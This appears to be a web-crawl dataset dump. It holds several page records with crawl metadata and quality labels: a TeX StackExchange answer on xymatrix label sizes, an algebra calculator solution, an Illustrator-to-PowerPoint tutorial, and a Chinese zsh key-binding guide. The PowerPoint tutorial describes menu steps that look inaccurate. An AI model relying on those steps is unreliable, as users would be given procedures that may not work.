"free_decimal_correspondence": {
"primary": {
"code": "004.0151",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "512.5",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,373,496,885,040,365,000 | Take the 2-minute tour ×
TeX - LaTeX Stack Exchange is a question and answer site for users of TeX, LaTeX, ConTeXt, and related typesetting systems. It's 100% free, no registration required.
Does anyone know how to resize the names of entries which appear as vertices inside \xymatrix? I have huge commuative cubes with more then 40 inner or outer vertices and when these names become too large then one cannot distinguish the edges of diagrams between them...
share|improve this question
Welcome to TeX.sx! Usually, we don't put a greeting or a "thank you" in our posts. While this might seem strange at first, it is not a sign of lack of politeness, but rather part of our trying to keep everything very concise. Upvoting is the preferred way here to say "thank you" to users who helped you. A tip: You can use backticks ` to mark your inline code as I did in my edit. – Kurt Oct 26 '12 at 13:29
add comment
1 Answer
here's an approach that's rather a hack, as it must be applied manually to every vertex.
\documentclass{article}
\usepackage{amsmath}
\usepackage[all]{xy}
\newcommand{\smxylabel}[1]{{\text{\small$#1$}}}
\begin{document}
This diagram has normal-sized labels.
\[
\xymatrix{%
V_1 \ar[d]_\tau \ar[r]^{\rho_1(g) } & V_1 \ar[d]^\tau \\
V_2 \ar[r]^{\rho_2(g) } & V_2
}
\]
This diagram has ``smallified'' labels, hard coded.
\[
\xymatrix{%
\text{\small$V_1$} \ar[d]_{\text{\small$\tau$}} \ar[r]^{\text{\small$\rho_1(g)$} }
& \text{\small$V_1$} \ar[d]^{\text{\small$\tau$}} \\
\text{\small$V_2$} \ar[r]^{\text{\small$\rho_2(g)$} }
& \text{\small$V_2$}
}
\]
This diagram uses a macro to shrink the labels.
\[
\xymatrix{%
\smxylabel{V_1} \ar[d]_{\smxylabel{\tau}} \ar[r]^{\smxylabel{\rho_1(g)} }
& \smxylabel{V_1} \ar[d]^{\smxylabel{\tau}} \\
\smxylabel{V_2} \ar[r]^{\smxylabel{\rho_2(g)} }
& \smxylabel{V_2}
}
\]
\end{document}
output of example code
edit: the original poster asks whether it's possible to use \objectbox. i'm not familiar with that command, and have never used it, but it's definitely available in xypic.
the way it's defined appears to correspond reasonably well to the concept of my hack. so i think it's worth a try.
share|improve this answer
Thank you for your answer very much! It improves a solution of my problem. Do you know may I also use size modifiers using \objectbox? – Igor Bakovic Oct 26 '12 at 19:45
add comment
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "http://tex.stackexchange.com/questions/79169/resizing-the-vertices-inside-xymatrix",
"source_domain": "tex.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2014-10",
"warc_metadata": {
"Content-Length": "63605",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TW3SJV6GY5KBWUONDOV6ETVV4TFF6AWB",
"WARC-Concurrent-To": "<urn:uuid:327b2eaf-591f-4f8e-91d6-3d90b4a6cb09>",
"WARC-Date": "2014-03-14T22:14:54Z",
"WARC-IP-Address": "198.252.206.140",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:I4KIXGKRQSOZJTIGGKSC4KIS2SNKWQ3R",
"WARC-Record-ID": "<urn:uuid:51839079-2b45-4020-ac81-e2344043bd50>",
"WARC-Target-URI": "http://tex.stackexchange.com/questions/79169/resizing-the-vertices-inside-xymatrix",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e16828d7-5ef9-47fa-80fe-957a715d6731>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
25,
191,
192,
462,
463,
491,
493,
903,
915,
916,
925,
926,
1015,
1016,
1040,
1061,
1082,
1083,
1131,
1132,
1149,
1187,
1190,
1202,
1261,
1305,
1307,
1310,
1311,
1363,
1366,
1378,
1463,
1520,
1577,
1602,
1604,
1607,
1608,
1656,
1659,
1671,
1747,
1797,
1848,
1869,
1871,
1874,
1889,
1890,
1913,
1914,
2086,
2087,
2202,
2203,
2229,
2231,
2402,
2414,
2415,
2427,
2428,
2430,
2438,
2439,
2517,
2518
],
"line_end_idx": [
25,
191,
192,
462,
463,
491,
493,
903,
915,
916,
925,
926,
1015,
1016,
1040,
1061,
1082,
1083,
1131,
1132,
1149,
1187,
1190,
1202,
1261,
1305,
1307,
1310,
1311,
1363,
1366,
1378,
1463,
1520,
1577,
1602,
1604,
1607,
1608,
1656,
1659,
1671,
1747,
1797,
1848,
1869,
1871,
1874,
1889,
1890,
1913,
1914,
2086,
2087,
2202,
2203,
2229,
2231,
2402,
2414,
2415,
2427,
2428,
2430,
2438,
2439,
2517,
2518,
2608
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2608,
"ccnet_original_nlines": 68,
"rps_doc_curly_bracket": 0.029141100123524666,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3025718629360199,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.024205749854445457,
"rps_doc_frac_lines_end_with_ellipsis": 0.01449275016784668,
"rps_doc_frac_no_alph_words": 0.3570348024368286,
"rps_doc_frac_unique_words": 0.6222222447395325,
"rps_doc_mean_word_length": 5.094444274902344,
"rps_doc_num_sentences": 24,
"rps_doc_symbol_to_word_ratio": 0.0030257198959589005,
"rps_doc_unigram_entropy": 5.147819995880127,
"rps_doc_word_count": 360,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.013086150400340557,
"rps_doc_frac_chars_top_3gram": 0.007633590139448643,
"rps_doc_frac_chars_top_4gram": 0.00981460977345705,
"rps_doc_books_importance": -237.4575958251953,
"rps_doc_books_importance_length_correction": -237.4575958251953,
"rps_doc_openwebtext_importance": -166.8761444091797,
"rps_doc_openwebtext_importance_length_correction": -166.8761444091797,
"rps_doc_wikipedia_importance": -115.15165710449219,
"rps_doc_wikipedia_importance_length_correction": -115.15165710449219
},
"fasttext": {
"dclm": 0.09276676177978516,
"english": 0.8541091084480286,
"fineweb_edu_approx": 1.5172276496887207,
"eai_general_math": 0.010262790136039257,
"eai_open_web_math": 0.6556722521781921,
"eai_web_code": 0.00026040998636744916
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "516",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry, Algebraic"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-7,685,737,300,305,193,000 |
Home Lessons Calculators Worksheets Resources Feedback Algebra Tutors
Calculator Output
Simplifying
x2 + x + -3.75 = 0
Reorder the terms:
-3.75 + x + x2 = 0
Solving
-3.75 + x + x2 = 0
Solving for variable 'x'.
Begin completing the square.
Move the constant term to the right:
Add '3.75' to each side of the equation.
-3.75 + x + 3.75 + x2 = 0 + 3.75
Reorder the terms:
-3.75 + 3.75 + x + x2 = 0 + 3.75
Combine like terms: -3.75 + 3.75 = 0.00
0.00 + x + x2 = 0 + 3.75
x + x2 = 0 + 3.75
Combine like terms: 0 + 3.75 = 3.75
x + x2 = 3.75
The x term is x. Take half its coefficient (0.5).
Square it (0.25) and add it to both sides.
Add '0.25' to each side of the equation.
x + 0.25 + x2 = 3.75 + 0.25
Reorder the terms:
0.25 + x + x2 = 3.75 + 0.25
Combine like terms: 3.75 + 0.25 = 4
0.25 + x + x2 = 4
Factor a perfect square on the left side:
(x + 0.5)(x + 0.5) = 4
Calculate the square root of the right side: 2
Break this problem into two subproblems by setting
(x + 0.5) equal to 2 and -2.
Subproblem 1
x + 0.5 = 2 Simplifying x + 0.5 = 2 Reorder the terms: 0.5 + x = 2 Solving 0.5 + x = 2 Solving for variable 'x'. Move all terms containing x to the left, all other terms to the right. Add '-0.5' to each side of the equation. 0.5 + -0.5 + x = 2 + -0.5 Combine like terms: 0.5 + -0.5 = 0.0 0.0 + x = 2 + -0.5 x = 2 + -0.5 Combine like terms: 2 + -0.5 = 1.5 x = 1.5 Simplifying x = 1.5
Subproblem 2
x + 0.5 = -2 Simplifying x + 0.5 = -2 Reorder the terms: 0.5 + x = -2 Solving 0.5 + x = -2 Solving for variable 'x'. Move all terms containing x to the left, all other terms to the right. Add '-0.5' to each side of the equation. 0.5 + -0.5 + x = -2 + -0.5 Combine like terms: 0.5 + -0.5 = 0.0 0.0 + x = -2 + -0.5 x = -2 + -0.5 Combine like terms: -2 + -0.5 = -2.5 x = -2.5 Simplifying x = -2.5
Solution
The solution to the problem is based on the solutions from the subproblems. x = {1.5, -2.5}
Processing time: 1 ms. 72543588 equations since February 08, 2004. Disclaimer
Completing the Square Calculator
Equation: Variable:
Hint: Selecting "AUTO" in the variable box will make the calculator automatically solve for the first variable it sees.
Home Lessons Calculators Worksheets Resources Feedback Algebra Tutors | {
"url": "http://www.algebrahelp.com/calculators/equation/completingthesquare/calc.do?equation=x%5E2+%2B+x+-+3.75+%3D+0",
"source_domain": "www.algebrahelp.com",
"snapshot_id": "crawl=CC-MAIN-2016-44",
"warc_metadata": {
"Content-Length": "9389",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:KURJCBXYAH34AIVCH3QWDOMLJZANI5IX",
"WARC-Concurrent-To": "<urn:uuid:1b506066-080a-4997-b2ba-4cbcae28792b>",
"WARC-Date": "2016-10-28T12:09:00Z",
"WARC-IP-Address": "74.84.128.38",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:LVPO44AU6JWAZ6HS7ZRDVJ5GWYSVTAV2",
"WARC-Record-ID": "<urn:uuid:cba515f9-9075-4997-919b-4ef62c40ce9f>",
"WARC-Target-URI": "http://www.algebrahelp.com/calculators/equation/completingthesquare/calc.do?equation=x%5E2+%2B+x+-+3.75+%3D+0",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5d94ea2f-295a-43a1-8119-5d88007148eb>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-6-4.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-44\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for October 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
2,
72,
73,
91,
92,
104,
123,
124,
143,
162,
163,
171,
190,
191,
217,
218,
247,
248,
285,
286,
327,
360,
361,
380,
413,
414,
454,
479,
497,
498,
534,
548,
549,
600,
643,
644,
685,
713,
714,
733,
761,
762,
798,
816,
817,
859,
882,
883,
930,
931,
983,
1012,
1013,
1026,
1027,
1410,
1411,
1424,
1425,
1819,
1820,
1829,
1830,
1922,
2002,
2003,
2036,
2037,
2057,
2065,
2185,
2186
],
"line_end_idx": [
2,
72,
73,
91,
92,
104,
123,
124,
143,
162,
163,
171,
190,
191,
217,
218,
247,
248,
285,
286,
327,
360,
361,
380,
413,
414,
454,
479,
497,
498,
534,
548,
549,
600,
643,
644,
685,
713,
714,
733,
761,
762,
798,
816,
817,
859,
882,
883,
930,
931,
983,
1012,
1013,
1026,
1027,
1410,
1411,
1424,
1425,
1819,
1820,
1829,
1830,
1922,
2002,
2003,
2036,
2037,
2057,
2065,
2185,
2186,
2255
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2255,
"ccnet_original_nlines": 72,
"rps_doc_curly_bracket": 0.0008869200246408582,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.18194444477558136,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0013888899702578783,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6152777671813965,
"rps_doc_frac_unique_words": 0.2604166567325592,
"rps_doc_mean_word_length": 3.8151042461395264,
"rps_doc_num_sentences": 91,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.920239210128784,
"rps_doc_word_count": 384,
"rps_doc_frac_chars_dupe_10grams": 0.286689430475235,
"rps_doc_frac_chars_dupe_5grams": 0.457337886095047,
"rps_doc_frac_chars_dupe_6grams": 0.43822526931762695,
"rps_doc_frac_chars_dupe_7grams": 0.4068259298801422,
"rps_doc_frac_chars_dupe_8grams": 0.4068259298801422,
"rps_doc_frac_chars_dupe_9grams": 0.286689430475235,
"rps_doc_frac_chars_top_2gram": 0.01365188043564558,
"rps_doc_frac_chars_top_3gram": 0.021842999383807182,
"rps_doc_frac_chars_top_4gram": 0.01911262981593609,
"rps_doc_books_importance": -377.2307434082031,
"rps_doc_books_importance_length_correction": -377.2307434082031,
"rps_doc_openwebtext_importance": -317.9290466308594,
"rps_doc_openwebtext_importance_length_correction": -317.9290466308594,
"rps_doc_wikipedia_importance": -302.7872619628906,
"rps_doc_wikipedia_importance_length_correction": -302.7872619628906
},
"fasttext": {
"dclm": 0.9994015693664551,
"english": 0.7802389860153198,
"fineweb_edu_approx": 1.7153037786483765,
"eai_general_math": 0.9991800785064697,
"eai_open_web_math": 0.30850493907928467,
"eai_web_code": 0.9634738564491272
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "512.9",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
},
"secondary": {
"code": "512",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
5,008,897,776,411,203,000 |
How To Convert Ai To Powerpoint
Adobe Illustrator (AI) is a well-known software for creating vector graphics, commonly used by designers and artists. However, there may be instances where you need to change your AI file into a PowerPoint presentation. In this article, we will walk you through the steps of converting an AI file to a PowerPoint presentation.
Step 1: Open Adobe Illustrator
Firstly, open Adobe Illustrator on your computer. If you don’t have it installed, you can download it from the official Adobe website or purchase it from a retail store.
Step 2: Open Your AI File
Once you have opened Adobe Illustrator, open your AI file by clicking on “File” in the top left corner of the screen and selecting “Open”. Browse through your files and select the AI file that you want to convert into a PowerPoint presentation.
Step 3: Save Your File as a PDF
After opening your AI file, go to “File” in the top left corner of the screen and select “Save As”. In the “Save As” dialog box, choose “PDF” as the file format. Give your file a name and save it on your computer.
Step 4: Open PowerPoint
Now that you have saved your AI file as a PDF, open Microsoft PowerPoint on your computer. If you don’t have it installed, you can download it from the official Microsoft website or purchase it from a retail store.
Step 5: Create a New Presentation
Once you have opened PowerPoint, create a new presentation by clicking on “File” in the top left corner of the screen and selecting “New”. Choose a template that suits your needs or create a new one from scratch.
Step 6: Import Your PDF File
Now that you have created a new presentation, go to “File” in the top left corner of the screen and select “Import”. In the “Import” dialog box, choose “PDF” as the file format. Browse through your files and select the PDF file that you saved earlier. Click on “Import” to import your AI file into PowerPoint.
Step 7: Edit Your Presentation
After importing your AI file into PowerPoint, you can edit it as needed. You can add text, images, and other elements to enhance your presentation. Make sure to save your work regularly to avoid losing any changes.
Step 8: Export Your Presentation
Once you have edited your presentation, go to “File” in the top left corner of the screen and select “Export”. In the “Export” dialog box, choose “PowerPoint Show” as the file format. Give your file a name and save it on your computer.
Conclusion
In conclusion, converting an AI file into a PowerPoint presentation is a simple process that can be done in just a few steps. By following the steps outlined in this article, you can easily convert your AI file into a PowerPoint presentation and share it with others. | {
"url": "https://teamtutorials.com/other-tutorials/how-to-convert-ai-to-powerpoint",
"source_domain": "teamtutorials.com",
"snapshot_id": "CC-MAIN-2024-30",
"warc_metadata": {
"Content-Length": "73211",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6AMDUFOU2J7QNNEGMDFV736W7C3GBXYF",
"WARC-Concurrent-To": "<urn:uuid:cbb849c4-019f-44af-a907-eceae5b6b41e>",
"WARC-Date": "2024-07-14T14:34:22Z",
"WARC-IP-Address": "172.67.168.90",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:APKPWAIYDJSYJ7KQJWNXSCSLVV46Z7KZ",
"WARC-Record-ID": "<urn:uuid:8375c677-1088-47af-af54-e51574b66e7f>",
"WARC-Target-URI": "https://teamtutorials.com/other-tutorials/how-to-convert-ai-to-powerpoint",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:20fce261-0b72-4822-9178-6705c7f2e15a>"
},
"warc_info": "isPartOf: CC-MAIN-2024-30\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-161\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
1,
33,
34,
361,
362,
393,
394,
564,
565,
591,
592,
837,
838,
870,
871,
1085,
1086,
1110,
1111,
1326,
1327,
1361,
1362,
1575,
1576,
1605,
1606,
1916,
1917,
1948,
1949,
2164,
2165,
2198,
2199,
2435,
2436,
2447,
2448
],
"line_end_idx": [
1,
33,
34,
361,
362,
393,
394,
564,
565,
591,
592,
837,
838,
870,
871,
1085,
1086,
1110,
1111,
1326,
1327,
1361,
1362,
1575,
1576,
1605,
1606,
1916,
1917,
1948,
1949,
2164,
2165,
2198,
2199,
2435,
2436,
2447,
2448,
2715
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2715,
"ccnet_original_nlines": 39,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37302976846694946,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03152364119887352,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16812609136104584,
"rps_doc_frac_unique_words": 0.3187499940395355,
"rps_doc_mean_word_length": 4.4979166984558105,
"rps_doc_num_sentences": 26,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.515190124511719,
"rps_doc_word_count": 480,
"rps_doc_frac_chars_dupe_10grams": 0.24826307594776154,
"rps_doc_frac_chars_dupe_5grams": 0.4131542444229126,
"rps_doc_frac_chars_dupe_6grams": 0.3909217119216919,
"rps_doc_frac_chars_dupe_7grams": 0.37563687562942505,
"rps_doc_frac_chars_dupe_8grams": 0.30986568331718445,
"rps_doc_frac_chars_dupe_9grams": 0.284390926361084,
"rps_doc_frac_chars_top_2gram": 0.030569709837436676,
"rps_doc_frac_chars_top_3gram": 0.037054188549518585,
"rps_doc_frac_chars_top_4gram": 0.032422419637441635,
"rps_doc_books_importance": -230.25445556640625,
"rps_doc_books_importance_length_correction": -230.25445556640625,
"rps_doc_openwebtext_importance": -113.52996063232422,
"rps_doc_openwebtext_importance_length_correction": -113.52996063232422,
"rps_doc_wikipedia_importance": -104.95748138427734,
"rps_doc_wikipedia_importance_length_correction": -104.95748138427734
},
"fasttext": {
"dclm": 0.9237797856330872,
"english": 0.8996903896331787,
"fineweb_edu_approx": 2.1884453296661377,
"eai_general_math": 0.2762548327445984,
"eai_open_web_math": 0.06387782096862793,
"eai_web_code": 0.16840118169784546
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "651.7",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Office management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,120,035,482,511,592,000 | 使用 zsh 后HOME/END 键以及小键盘失效
#1 问题描述
zsh是一款超赞的shell工具，但是配置复杂，有个闲着没事的程序员，弄了一个开源项目 robbyrussell/oh-my-zsh 截止目前，58.8k+ star就知道有多火了。比如 Spring boot在github才 15.7K+ spring framework 也16.1k+,最近火到炸天的tensorflow 69.4k
同样很优秀的有 fisherman/fisherman
但是近期发现问题, 设置了 xshell 远程连接时, host将zsh设置成默认shell时, HOME/END 以及小键盘区诸键无效. 敲击没有任何反应.
#2 问题解决
##2.1 设置 xshell 连接终端的类型
第一种方法也是最简单的办法是，修改xshell连接此host的终端类型，改成linux
修改终端属性
但是注意，改用 Linux 可能会导致shell的颜色比较奇怪.
##2.2 重新映射键值
在 ~/.zshrc 中将 HOME/END 等键值重新 MAP.
# key bindings
bindkey "\e[1~" beginning-of-line
bindkey "\e[4~" end-of-line
bindkey "\e[5~" beginning-of-history
bindkey "\e[6~" end-of-history
# for rxvt
bindkey "\e[8~" end-of-line
bindkey "\e[7~" beginning-of-line
# for non RH/Debian xterm, can't hurt for RH/DEbian xterm
bindkey "\eOH" beginning-of-line
bindkey "\eOF" end-of-line
# for freebsd console
bindkey "\e[H" beginning-of-line
bindkey "\e[F" end-of-line
# completion in the middle of a line
bindkey '^i' expand-or-complete-prefix
# Fix numeric keypad
# 0 . Enter
bindkey -s "^[Op" "0"
bindkey -s "^[On" "."
bindkey -s "^[OM" "^M"
# 1 2 3
bindkey -s "^[Oq" "1"
bindkey -s "^[Or" "2"
bindkey -s "^[Os" "3"
# 4 5 6
bindkey -s "^[Ot" "4"
bindkey -s "^[Ou" "5"
bindkey -s "^[Ov" "6"
# 7 8 9
bindkey -s "^[Ow" "7"
bindkey -s "^[Ox" "8"
bindkey -s "^[Oy" "9"
# + - * /
bindkey -s "^[Ol" "+"
bindkey -s "^[Om" "-"
bindkey -s "^[Oj" "*"
bindkey -s "^[Oo" "/"
#3 参考资料
Home and End keys not working on CentOS
Problem with home, end and del keys under zsh
ins-end-delete-keys-are-mischevious-297024
已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页 | {
"url": "https://kernel.blog.csdn.net/article/details/104170950",
"source_domain": "kernel.blog.csdn.net",
"snapshot_id": "crawl=CC-MAIN-2021-21",
"warc_metadata": {
"Content-Length": "178577",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:WRKGTDQITHKO7TC4ZCYLVI3FWJ6EJELR",
"WARC-Concurrent-To": "<urn:uuid:669bcf30-803a-4236-abc3-23e1d8bf6d4f>",
"WARC-Date": "2021-05-09T21:39:41Z",
"WARC-IP-Address": "39.105.6.138",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:ZSALWAC7HEEBNPIAIAEBD3YN6TAFNEBY",
"WARC-Record-ID": "<urn:uuid:b2137347-de2c-4b56-8c00-0c519dea2879>",
"WARC-Target-URI": "https://kernel.blog.csdn.net/article/details/104170950",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a83c3fa3-fddf-43a8-859b-0b8fdb446bf2>"
},
"warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-61.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
26,
27,
35,
36,
206,
207,
235,
236,
316,
317,
325,
326,
350,
351,
395,
396,
403,
404,
437,
438,
451,
452,
486,
487,
502,
536,
564,
601,
632,
633,
644,
672,
706,
764,
797,
824,
846,
879,
906,
943,
982,
983,
1006,
1020,
1042,
1064,
1087,
1097,
1119,
1141,
1163,
1173,
1195,
1217,
1239,
1249,
1271,
1293,
1315,
1327,
1349,
1371,
1393,
